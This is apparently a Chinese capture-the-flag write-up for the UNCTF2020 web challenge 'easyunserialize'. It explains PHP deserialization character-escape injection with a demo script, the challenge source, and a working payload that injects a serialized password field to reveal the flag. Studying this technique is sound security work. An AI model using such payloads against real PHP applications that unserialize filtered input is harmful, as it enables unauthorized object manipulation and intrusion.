UNCTF2020-WEB: easyunserialize(反序列化字符逃逸)
反序列化字符逃逸实验
原理:利用字符串过滤使的原来序列化的读取的s长度发生了改变(多出一个字符就能逃逸一个字符)
对于反序列化的语法来说,第一个右括号之后的字符都是作废的
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $user.='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hack!!";}'; $AA=new A(); $AA->name=$user; echo serialize($AA)."</br>"; $res=filter(serialize($AA)); echo $res."</br>"; $c=unserialize($res); echo $c->pass; ?>
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
现在我们会利用反序列化字符逃逸了,得到源码先序列化一下原来的字符串,将它拷贝出来以便后续进行修改
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}
我们要把password改为easy,改造成如下
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}
计算得到需要逃逸29个字符,但是过滤函数是一次逃逸4个字符,得不到4的倍数,所以我们在后面补充几个字符使得逃逸的字符数为4的倍数
得到exp如下
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}
参考:https://www.cnblogs.com/Sumarua/p/12932401.html